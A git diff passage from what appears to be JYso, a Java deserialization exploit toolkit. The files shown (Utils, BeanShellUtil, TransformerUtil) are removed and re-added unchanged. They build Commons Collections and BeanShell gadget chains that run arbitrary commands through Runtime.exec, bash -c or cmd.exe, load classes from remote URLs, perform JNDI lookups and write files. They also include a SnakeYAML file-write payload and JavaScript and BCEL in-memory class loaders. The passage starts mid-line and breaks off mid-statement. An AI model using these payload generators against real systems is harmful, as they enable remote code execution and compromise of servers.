|| chunkSize <= 0) { - return null; - } - int len = str.length(); - int arrayLen = (len + chunkSize - 1) / chunkSize; - String[] result = new String[arrayLen]; - int k = 0; - for (int i = 0; i < len; i += chunkSize) { - int endIndex = Math.min(i + chunkSize, len); - result[k++] = str.substring(i, endIndex); - } - return result; - } - - public static String base64Encode(byte[] bs) { - Class base64; - String value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object Encoder = base64.getMethod("getEncoder", new Class[]{}).invoke(null, (Object[]) null); - value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object Encoder = base64.newInstance(); - value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); - } catch (Exception ignored) { - } - } - return value; - } - - public static String getRandomString() { - String str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; - StringBuilder sb = new StringBuilder(); - for (int i = 0; i < 10; i++) { - char ch = str.charAt(new Random().nextInt(str.length())); - sb.append(ch); - } - return sb.toString(); - } - - public static String getClassCode(Class clazz) throws Exception { - byte[] bytes; - if (clazz.getName().equals("com.feihong.ldap.template.com.qi4l.JYso.template.Meterpreter")) { - bytes = ClassByteChange.update(); - - } else { - bytes = getClassBytes(clazz); - } - - - return base64Encode(bytes); - } - - public static byte[] getClassBytes(Class clazz) throws Exception { - String className = clazz.getName(); - String resourcePath = className.replaceAll("\\.", "/") + ".class"; - InputStream in = Utils.class.getProtectionDomain().getClassLoader().getResourceAsStream(resourcePath); - if (in != null) { - return getBytes(in); - } - return new byte[0]; - } - - static byte[] getBytes(InputStream in) throws IOException { - byte[] bytes = new byte[1024]; - ByteArrayOutputStream bayous = new ByteArrayOutputStream(); - int len; - while ((len = in.read(bytes)) != -1) { - bayous.write(bytes, 0, len); - } - - in.close(); - bayous.close(); - - return bayous.toByteArray(); - } - - public static byte[] serialize(Object ref) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ObjectOutputStream objOut = new ObjectOutputStream(out); - objOut.writeObject(ref); - return out.toByteArray(); - } - - public static String getCmdFromBase(String base) throws Exception { - int firstIndex = base.lastIndexOf("/"); - String cmd = base.substring(firstIndex + 1); - - int secondIndex = base.lastIndexOf("/", firstIndex - 1); - if (secondIndex < 0) { - secondIndex = 0; - } - - if (base.substring(secondIndex + 1, firstIndex).equalsIgnoreCase("base64")) { - byte[] bytes = base64Decode(cmd).getBytes(); - cmd = new String(bytes); - } - - return cmd; - } - - public static String[] getIPAndPortFromBase(String base) throws NumberFormatException { - int firstIndex = base.lastIndexOf("/"); - String port = base.substring(firstIndex + 1); - - int secondIndex = base.lastIndexOf("/", firstIndex - 1); - if (secondIndex < 0) { - secondIndex = 0; - } - - String ip = base.substring(secondIndex + 1, firstIndex); - return new String[]{ip, Integer.parseInt(port) + ""}; - } - - public static String createPoC(String srcPath, String destPath) throws Exception { - - File file = new File(srcPath); - long FileLength = file.length(); - byte[] FileContent = new byte[(int) FileLength]; - try { - FileInputStream in = new FileInputStream(file); - in.read(FileContent); - in.close(); - } catch (FileNotFoundException e) { - log.error("e: ", e); - } - byte[] compressBytes = compress(FileContent); - return "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"" + destPath + "\"],false],!!java.util.zip.Inflater { input: !!binary " + Utils.base64Encode(compressBytes) + " },1048576]]"; - } - - public static byte[] compress(byte[] data) { - byte[] output = new byte[0]; - - Deflater compresser = new Deflater(); - - compresser.reset(); - compresser.setInput(data); - compresser.finish(); - try (ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length)) { - try { - byte[] buf = new byte[1024]; - while (!compresser.finished()) { - int i = compresser.deflate(buf); - bos.write(buf, 0, i); - } - output = bos.toByteArray(); - } catch (Exception e) { - output = data; - log.error("e: ", e); - } - } catch (IOException e) { - log.error("e: ", e); - } - compresser.end(); - return output; - } -} +package com.qi4l.JYso.gadgets.utils; + +import com.sun.org.apache.bcel.internal.classfile.Utility; +import javassist.CannotCompileException; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.codec.binary.Base64; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; + +import java.io.*; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; +import java.util.Random; +import java.util.zip.Deflater; +import java.util.zip.GZIPOutputStream; + +import java.io.InputStream; +import java.lang.reflect.*; +import java.util.*; + +import static com.qi4l.JYso.gadgets.Config.Config.*; +import static com.qi4l.JYso.gadgets.utils.Gadgets.createMemoizedInvocationHandler; +import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertMethod; +import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName; +import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.shrinkBytes; + +@SuppressWarnings({"unused"}) +public class Utils { + private static final Logger log = LogManager.getLogger(Utils.class); + + public static Map createMap(final String key, final Object val) { + final Map map = new HashMap<>(); + map.put(key, val); + return map; + } + public static T createMemoitizedProxy(final Map map, final Class iface, final Class... ifaces) throws Exception { + return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); + } + + public static T createProxy(final InvocationHandler ih, final Class iface, final Class... ifaces) { + final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); + allIfaces[0] = iface; + if (ifaces.length > 0) { + System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); + } + return iface.cast(Proxy.newProxyInstance(TemplatesUtil.class.getClassLoader(), allIfaces, ih)); + } + + public static HashMap makeMap(Object v1, Object v2) throws Exception { + HashMap s = new HashMap<>(); + Reflections.setFieldValue(s, "size", 2); + Class nodeC; + try { + nodeC = Class.forName("java.util.HashMap$Node"); + } catch (ClassNotFoundException e) { + nodeC = Class.forName("java.util.HashMap$Entry"); + } + Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); + nodeCons.setAccessible(true); + + Object tbl = Array.newInstance(nodeC, 2); + Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); + Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); + Reflections.setFieldValue(s, "table", tbl); + return s; + } + + public static Class makeClass(String clazzName) { + ClassPool classPool = ClassPool.getDefault(); + CtClass ctClass = classPool.makeClass(clazzName); + Class clazz; + try { + clazz = ctClass.toClass(); + } catch (CannotCompileException e) { + throw new RuntimeException(e); + } + ctClass.defrost(); + return clazz; + } + + public static String[] handlerCommand(String command) { + String info = command.split("-")[1]; + int index = info.indexOf("#"); + String par1 = info.substring(0, index); + String par2 = info.substring(index + 1); + return new String[]{par1, par2}; + } + + public static String base64Decode(String bs) { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", Class.class).invoke(base64, Class[].class); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + + if (value != null) { + return new String(value); + } + return bs; + } + + public static void saveCtClassToFile(CtClass ctClass) throws Exception { + // 总体在进行类字节码的缩短 + shrinkBytes(ctClass); + byte[] classBytes = ctClass.toBytecode(); + } + + public static void loadClassTest(byte[] classBytes, String className) throws Exception { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Method method = Proxy.class.getDeclaredMethod("defineClass0", ClassLoader.class, String.class, byte[].class, int.class, int.class); + method.setAccessible(true); + Class clazz = (Class) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length); + + try { + clazz.newInstance(); + } catch (Exception ignored) { + Class unsafe = Class.forName("sun.misc.Unsafe"); + Field theUnsafeField = unsafe.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + Object unsafeObject = theUnsafeField.get(null); + unsafeObject.getClass().getDeclaredMethod("allocateInstance", Class.class).invoke(unsafeObject, clazz); + } + } + + public static String generateBCELFormClassBytes(byte[] bytes) throws Exception { + return "$$BCEL$$" + Utility.encode(bytes, true); + } + + public static String getJSEngineValue(byte[] classBytes) throws Exception { + if (USING_RHINO) { + return "new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(\"" + generateBCELFormClassBytes(classBytes) + "\").newInstance();"; + } else { + return "var data = \"" + base64Encode(classBytes) + "\";var dataBytes=java.util.Base64.getDecoder().decode(data);var cl= java.lang.Thread.currentThread().getContextClassLoader();var clClass = cl.getClass();var defineClassMethod = null;while (clClass != null) {try {defineClassMethod = clClass.getDeclaredMethod(\"defineClass\", dataBytes.getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);defineClassMethod.setAccessible(true);break;} catch (e) {clClass = clClass.getSuperclass();}}if (defineClassMethod != null) {var memClass = defineClassMethod.invoke(cl, dataBytes, 0, dataBytes.length);memClass.newInstance();} else {throw \"Cannot find defineClass method.\";}"; + } + } + + public static CtClass encapsulationByClassLoaderTemplate(byte[] bytes) throws Exception { + CtClass ctClass = POOL.get("com.qi4l.JYso.template.ClassLoaderTemplate"); + ctClass.setName(generateClassName()); + ByteArrayOutputStream outBuf = new ByteArrayOutputStream(); + GZIPOutputStream gzipOutputStream = new GZIPOutputStream(outBuf); + gzipOutputStream.write(bytes); + gzipOutputStream.close(); + + String b64 = Base64.encodeBase64String(outBuf.toByteArray()); + // 如果 b64 的长度比较大,则将其切分为多个字符串进行拼接,避免单个字符串过长 + StringBuilder code = new StringBuilder(); + if (b64.length() > 60000) { + String[] arrays = splitString(b64, 60000); + for (int i = 0; i < arrays.length; i++) { + if (i == 0) { + code.append("b64=\"").append(arrays[0]).append("\";\n"); + } else { + code.append("b64 +=\"").append(arrays[i]).append("\";\n"); + } + } + } else { + code.append("b64=\"").append(b64).append("\";\n"); + } + + // 将赋值的代码插入到 ClassLoaderTemplate 中 + insertMethod(ctClass, "initClassBytes", code.toString()); + return ctClass; + } + + public static void writeClassToFile(String fileName, byte[] classBytes) throws Exception { + File file = new File(fileName.replace(".", File.separator) + ".class"); + File parentDir = file.getParentFile(); + if (!parentDir.exists()) { + if (!parentDir.mkdirs()) { + // 创建文件夹失败 + return; + } + } + FileOutputStream fileOutputStream = new FileOutputStream(file); + fileOutputStream.write(classBytes); + fileOutputStream.flush(); + fileOutputStream.close(); + } + + public static String[] splitString(String str, int chunkSize) { + if (str == null || str.isEmpty() || chunkSize <= 0) { + return null; + } + int len = str.length(); + int arrayLen = (len + chunkSize - 1) / chunkSize; + String[] result = new String[arrayLen]; + int k = 0; + for (int i = 0; i < len; i += chunkSize) { + int endIndex = Math.min(i + chunkSize, len); + result[k++] = str.substring(i, endIndex); + } + return result; + } + + public static String base64Encode(byte[] bs) { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[]{}).invoke(null, (Object[]) null); + value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + return value; + } + + public static String getRandomString() { + String str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < 10; i++) { + char ch = str.charAt(new Random().nextInt(str.length())); + sb.append(ch); + } + return sb.toString(); + } + + public static String getClassCode(Class clazz) throws Exception { + byte[] bytes; + if (clazz.getName().equals("com.feihong.ldap.template.com.qi4l.JYso.template.Meterpreter")) { + bytes = ClassByteChange.update(); + + } else { + bytes = getClassBytes(clazz); + } + + + return base64Encode(bytes); + } + + public static byte[] getClassBytes(Class clazz) throws Exception { + String className = clazz.getName(); + String resourcePath = className.replaceAll("\\.", "/") + ".class"; + InputStream in = Utils.class.getProtectionDomain().getClassLoader().getResourceAsStream(resourcePath); + if (in != null) { + return getBytes(in); + } + return new byte[0]; + } + + static byte[] getBytes(InputStream in) throws IOException { + byte[] bytes = new byte[1024]; + ByteArrayOutputStream bayous = new ByteArrayOutputStream(); + int len; + while ((len = in.read(bytes)) != -1) { + bayous.write(bytes, 0, len); + } + + in.close(); + bayous.close(); + + return bayous.toByteArray(); + } + + public static byte[] serialize(Object ref) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ObjectOutputStream objOut = new ObjectOutputStream(out); + objOut.writeObject(ref); + return out.toByteArray(); + } + + public static String getCmdFromBase(String base) throws Exception { + int firstIndex = base.lastIndexOf("/"); + String cmd = base.substring(firstIndex + 1); + + int secondIndex = base.lastIndexOf("/", firstIndex - 1); + if (secondIndex < 0) { + secondIndex = 0; + } + + if (base.substring(secondIndex + 1, firstIndex).equalsIgnoreCase("base64")) { + byte[] bytes = base64Decode(cmd).getBytes(); + cmd = new String(bytes); + } + + return cmd; + } + + public static String[] getIPAndPortFromBase(String base) throws NumberFormatException { + int firstIndex = base.lastIndexOf("/"); + String port = base.substring(firstIndex + 1); + + int secondIndex = base.lastIndexOf("/", firstIndex - 1); + if (secondIndex < 0) { + secondIndex = 0; + } + + String ip = base.substring(secondIndex + 1, firstIndex); + return new String[]{ip, Integer.parseInt(port) + ""}; + } + + public static String createPoC(String srcPath, String destPath) throws Exception { + + File file = new File(srcPath); + long FileLength = file.length(); + byte[] FileContent = new byte[(int) FileLength]; + try { + FileInputStream in = new FileInputStream(file); + in.read(FileContent); + in.close(); + } catch (FileNotFoundException e) { + log.error("e: ", e); + } + byte[] compressBytes = compress(FileContent); + return "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"" + destPath + "\"],false],!!java.util.zip.Inflater { input: !!binary " + Utils.base64Encode(compressBytes) + " },1048576]]"; + } + + public static byte[] compress(byte[] data) { + byte[] output = new byte[0]; + + Deflater compresser = new Deflater(); + + compresser.reset(); + compresser.setInput(data); + compresser.finish(); + try (ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length)) { + try { + byte[] buf = new byte[1024]; + while (!compresser.finished()) { + int i = compresser.deflate(buf); + bos.write(buf, 0, i); + } + output = bos.toByteArray(); + } catch (Exception e) { + output = data; + log.error("e: ", e); + } + } catch (IOException e) { + log.error("e: ", e); + } + compresser.end(); + return output; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/beanshell/BeanShellUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/beanshell/BeanShellUtil.java index 41e54ed..c9ae55b 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/beanshell/BeanShellUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/beanshell/BeanShellUtil.java @@ -1,27 +1,27 @@ -package com.qi4l.JYso.gadgets.utils.beanshell; - -import com.qi4l.JYso.gadgets.utils.StringUtil; -import com.qi4l.JYso.gadgets.utils.Utils; - -import java.util.Arrays; - -public class BeanShellUtil { - - public static String makeBeanShellPayload(String command) { - if (command.startsWith("TS-")) - return "compare(Object QI4L, Object QI5L) { return new Integer(1);}java.lang.Thread.sleep(" + (Integer.parseInt(command.split("-")[1]) * 1000) + "L);"; - if (command.startsWith("RC-")) { - String[] strings = Utils.handlerCommand(command); - return "compare(Object QI4L, Object QI5L) { return new Integer(1);}new URLClassLoader(new URL[]{new URL(\"" + strings[0] + "\")}).loadClass(\"" + strings[1] + "\").newInstance();"; - } - if (command.startsWith("WF-")) { - String[] strings = Utils.handlerCommand(command); - return "compare(Object QI4L, Object QI5L) { return new Integer(1);}new java.io.FileOutputStream(\"" + strings[0] + "\").write(\"" + strings[1] + "\".getObject());"; - } - - return "compare(Object QI4L, Object QI5L) {new java.lang.ProcessBuilder(new String[]{" + - StringUtil.join( - Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}"; - } - -} +package com.qi4l.JYso.gadgets.utils.beanshell; + +import com.qi4l.JYso.gadgets.utils.StringUtil; +import com.qi4l.JYso.gadgets.utils.Utils; + +import java.util.Arrays; + +public class BeanShellUtil { + + public static String makeBeanShellPayload(String command) { + if (command.startsWith("TS-")) + return "compare(Object QI4L, Object QI5L) { return new Integer(1);}java.lang.Thread.sleep(" + (Integer.parseInt(command.split("-")[1]) * 1000) + "L);"; + if (command.startsWith("RC-")) { + String[] strings = Utils.handlerCommand(command); + return "compare(Object QI4L, Object QI5L) { return new Integer(1);}new URLClassLoader(new URL[]{new URL(\"" + strings[0] + "\")}).loadClass(\"" + strings[1] + "\").newInstance();"; + } + if (command.startsWith("WF-")) { + String[] strings = Utils.handlerCommand(command); + return "compare(Object QI4L, Object QI5L) { return new Integer(1);}new java.io.FileOutputStream(\"" + strings[0] + "\").write(\"" + strings[1] + "\".getObject());"; + } + + return "compare(Object QI4L, Object QI5L) {new java.lang.ProcessBuilder(new String[]{" + + StringUtil.join( + Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}"; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java index ee8c2ef..f479a0b 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java @@ -1,76 +1,76 @@ -package com.qi4l.JYso.gadgets.utils.cc; - -import com.qi4l.JYso.gadgets.utils.Utils; -import javassist.CtClass; -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.ConstantTransformer; -import org.apache.commons.collections.functors.InstantiateTransformer; -import org.apache.commons.collections.functors.InvokerTransformer; - -import javax.script.ScriptEngineManager; -import java.io.FileOutputStream; -import java.net.URL; -import java.net.URLClassLoader; - -import static com.qi4l.JYso.gadgets.Config.Config.USING_MOZILLA_DEFININGCLASSLOADER; -import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode; -import static com.qi4l.JYso.gadgets.utils.Utils.handlerCommand; -import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass; - -public class TransformerUtil { - - public static Transformer[] makeTransformer(String command) throws Exception { - Transformer[] transformers; - String[] execArgs = {command}; - - if (command.startsWith("TS-")) { - transformers = new Transformer[]{new ConstantTransformer(Thread.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"currentThread", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("sleep", new Class[]{long.class}, new Object[]{Long.parseLong(command.split("-")[1] + "000")}),}; - } else if (command.startsWith("RC-")) { - String[] strings = handlerCommand(command); - transformers = new Transformer[]{new ConstantTransformer(URLClassLoader.class), new InstantiateTransformer(new Class[]{URL[].class}, new Object[]{new URL[]{new URL(strings[0])}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{strings[1]}), new InstantiateTransformer(null, null)}; - } else if (command.startsWith("WF-")) { - String[] strings = handlerCommand(command); - transformers = new Transformer[]{new ConstantTransformer(FileOutputStream.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{strings[0]}}), new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{base64Decode(strings[1]).getBytes()}), new ConstantTransformer(1)}; - } else if (command.startsWith("PB-lin")) { - transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"bash", "-c", base64Decode(command.split("-")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})}; - } else if (command.startsWith("PB-win")) { - transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"cmd.exe", "/c", base64Decode(command.split("-")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})}; - } else if (command.startsWith("SE-")) { - transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"js"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{"java.lang.Runtime.getRuntime().exec('" + base64Decode(command.split("-")[1]) + "');"})}; - } else if (command.startsWith("DL-")) { - transformers = new Transformer[]{new ConstantTransformer(java.net.InetAddress.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getAllByName", new Class[]{String.class}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{command.split("-")[1]}}), new ConstantTransformer(1)}; - } else if (command.startsWith("HL-")) { - transformers = new Transformer[]{new ConstantTransformer(java.net.URL.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{command.split("-")[1]}}), new InvokerTransformer("getContent", new Class[0], new Object[0]), new ConstantTransformer(1)}; - } else if (command.startsWith("BC-")) { - command = command.substring(3); - String bcelBytes; - - // 对 BCEL 也支持 LF 扩展功能 - if (command.startsWith("LF-")) { - CtClass ctClass = generateClass(command); - bcelBytes = Utils.generateBCELFormClassBytes(Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode()); - } else { - bcelBytes = command; - } - - transformers = new Transformer[]{new ConstantTransformer(com.sun.org.apache.bcel.internal.util.ClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{bcelBytes}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)}; - } else if (command.startsWith("JD-")) { - transformers = new Transformer[]{new ConstantTransformer(javax.naming.InitialContext.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("lookup", new Class[]{String.class}, new Object[]{command.split("-")[1]}), new ConstantTransformer(1)}; - } else if (command.startsWith("LF-")) { - CtClass ctClass = generateClass(command); - - if (USING_MOZILLA_DEFININGCLASSLOADER) { - // 使用 DefiningClassLoader 加载,不是所有 JDK 均有 org.mozilla.javascript.DefiningClassLoader - // 在 NC 中可以使用 - transformers = new Transformer[]{new ConstantTransformer(org.mozilla.javascript.DefiningClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{ctClass.getName(), ctClass.toBytecode()}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)}; - } else { - // 使用 ScriptEngineManager JS eval 加载 - transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"JavaScript"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{Utils.getJSEngineValue(Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode())})}; - } - } else { - transformers = new Transformer[]{new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)}; - } - return transformers; - } - -} +package com.qi4l.JYso.gadgets.utils.cc; + +import com.qi4l.JYso.gadgets.utils.Utils; +import javassist.CtClass; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InstantiateTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; + +import javax.script.ScriptEngineManager; +import java.io.FileOutputStream; +import java.net.URL; +import java.net.URLClassLoader; + +import static com.qi4l.JYso.gadgets.Config.Config.USING_MOZILLA_DEFININGCLASSLOADER; +import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode; +import static com.qi4l.JYso.gadgets.utils.Utils.handlerCommand; +import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass; + +public class TransformerUtil { + + public static Transformer[] makeTransformer(String command) throws Exception { + Transformer[] transformers; + String[] execArgs = {command}; + + if (command.startsWith("TS-")) { + transformers = new Transformer[]{new ConstantTransformer(Thread.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"currentThread", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("sleep", new Class[]{long.class}, new Object[]{Long.parseLong(command.split("-")[1] + "000")}),}; + } else if (command.startsWith("RC-")) { + String[] strings = handlerCommand(command); + transformers = new Transformer[]{new ConstantTransformer(URLClassLoader.class), new InstantiateTransformer(new Class[]{URL[].class}, new Object[]{new URL[]{new URL(strings[0])}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{strings[1]}), new InstantiateTransformer(null, null)}; + } else if (command.startsWith("WF-")) { + String[] strings = handlerCommand(command); + transformers = new Transformer[]{new ConstantTransformer(FileOutputStream.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{strings[0]}}), new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{base64Decode(strings[1]).getBytes()}), new ConstantTransformer(1)}; + } else if (command.startsWith("PB-lin")) { + transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"bash", "-c", base64Decode(command.split("-")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})}; + } else if (command.startsWith("PB-win")) { + transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"cmd.exe", "/c", base64Decode(command.split("-")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})}; + } else if (command.startsWith("SE-")) { + transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"js"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{"java.lang.Runtime.getRuntime().exec('" + base64Decode(command.split("-")[1]) + "');"})}; + } else if (command.startsWith("DL-")) { + transformers = new Transformer[]{new ConstantTransformer(java.net.InetAddress.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getAllByName", new Class[]{String.class}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{command.split("-")[1]}}), new ConstantTransformer(1)}; + } else if (command.startsWith("HL-")) { + transformers = new Transformer[]{new ConstantTransformer(java.net.URL.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{command.split("-")[1]}}), new InvokerTransformer("getContent", new Class[0], new Object[0]), new ConstantTransformer(1)}; + } else if (command.startsWith("BC-")) { + command = command.substring(3); + String bcelBytes; + + // 对 BCEL 也支持 LF 扩展功能 + if (command.startsWith("LF-")) { + CtClass ctClass = generateClass(command); + bcelBytes = Utils.generateBCELFormClassBytes(Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode()); + } else { + bcelBytes = command; + } + + transformers = new Transformer[]{new ConstantTransformer(com.sun.org.apache.bcel.internal.util.ClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{bcelBytes}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)}; + } else if (command.startsWith("JD-")) { + transformers = new Transformer[]{new ConstantTransformer(javax.naming.InitialContext.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("lookup", new Class[]{String.class}, new Object[]{command.split("-")[1]}), new 